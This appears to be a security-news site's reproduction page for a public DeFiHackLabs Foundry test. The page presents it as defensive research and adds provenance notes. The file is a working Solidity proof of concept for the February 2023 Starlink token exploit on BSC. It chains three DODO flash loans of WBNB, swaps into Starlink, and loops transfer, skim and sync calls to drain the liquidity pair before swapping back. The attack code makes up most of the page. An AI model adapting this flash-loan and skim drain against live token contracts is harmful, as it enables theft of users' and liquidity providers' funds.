Skip to content
THREATWIRE

Public reproduction file

src/test/2023-02/Starlink_exp.sol

Public reproduction file for dataset entry - Starlink.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-02/Starlink_exp.sol79 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @Analysis
8// https://twitter.com/NumenAlert/status/1626447469361102850
9// https://twitter.com/bbbb/status/1626392605264351235
10// @TX
11// https://bscscan.com/tx/0x146586f05a4513136deab3557ad15df8f77ffbcdbd0dd0724bc66dbeab98a962
13contract ContractTest is Test {
14 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
15 IERC20 Starlink = IERC20(0x518281F34dbf5B76e6cdd3908a6972E8EC49e345);
16 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
17 Uni_Pair_V2 Pair = Uni_Pair_V2(0x425444dA1410940CFdfB6A980Bd16aA7a5376d6D);
18 address dodo1 = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;
19 address dodo2 = 0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476;
20 address dodo3 = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681;
21 uint256 dodoFlashAmount1;
22 uint256 dodoFlashAmount2;
23 uint256 dodoFlashAmount3;
25 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
27 function setUp() public {
28 cheats.createSelectFork("bsc", 25_729_304);
29 }
31 function testExploit() public {
32 dodoFlashAmount1 = WBNB.balanceOf(dodo1);
33 DVM(dodo1).flashLoan(dodoFlashAmount1, 0, address(this), new bytes(1));
35 emit log_named_decimal_uint("Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);
36 }
38 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
39 if (msg.sender == dodo1) {
40 dodoFlashAmount2 = WBNB.balanceOf(dodo2);
41 DVM(dodo2).flashLoan(dodoFlashAmount2, 0, address(this), new bytes(1));
42 WBNB.transfer(dodo1, dodoFlashAmount1);
43 } else if (msg.sender == dodo2) {
44 dodoFlashAmount3 = WBNB.balanceOf(dodo3);
45 DVM(dodo3).flashLoan(dodoFlashAmount3, 0, address(this), new bytes(1));
46 WBNB.transfer(dodo2, dodoFlashAmount2);
47 } else if (msg.sender == dodo3) {
48 WBNBToStarlink();
49 while (Starlink.balanceOf(address(Pair)) > 1000) {
50 Starlink.transfer(address(Pair), Starlink.balanceOf(address(Pair)));
51 Pair.skim(address(this));
52 Pair.sync();
53 }
54 StarlinkToWBNB();
55 WBNB.transfer(dodo3, dodoFlashAmount3);
56 }
57 }
59 function WBNBToStarlink() internal {
60 uint256 amountIn = WBNB.balanceOf(address(this));
61 WBNB.transfer(address(Pair), WBNB.balanceOf(address(this)));
62 address[] memory path = new address[](2);
63 path[0] = address(WBNB);
64 path[1] = address(Starlink);
65 uint256[] memory values = Router.getAmountsOut(amountIn, path);
66 values[1] = Starlink.balanceOf(address(Pair)) * 51 / 100;
67 Pair.swap(values[1], 0, address(this), "");
68 }
70 function StarlinkToWBNB() internal {
71 Starlink.approve(address(Router), type(uint256).max);
72 address[] memory path = new address[](2);
73 path[0] = address(Starlink);
74 path[1] = address(WBNB);
75 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
76 Starlink.balanceOf(address(this)) / 2, 0, path, address(this), block.timestamp
77 );
78 }

Analysis

Dataset entry

Public Foundry test for “- Starlink” (2023-02-17). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
Starlink
Path
src/test/2023-02/Starlink_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
e0e9ad2bbb53060f4d0c88e68f3acf63d2d3c185
Language
Solidity
Size
80 lines
Date
2023-02-17
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-02/Starlink_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob e0e9ad2bbb53060f4d0c88e68f3acf63d2d3c185, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.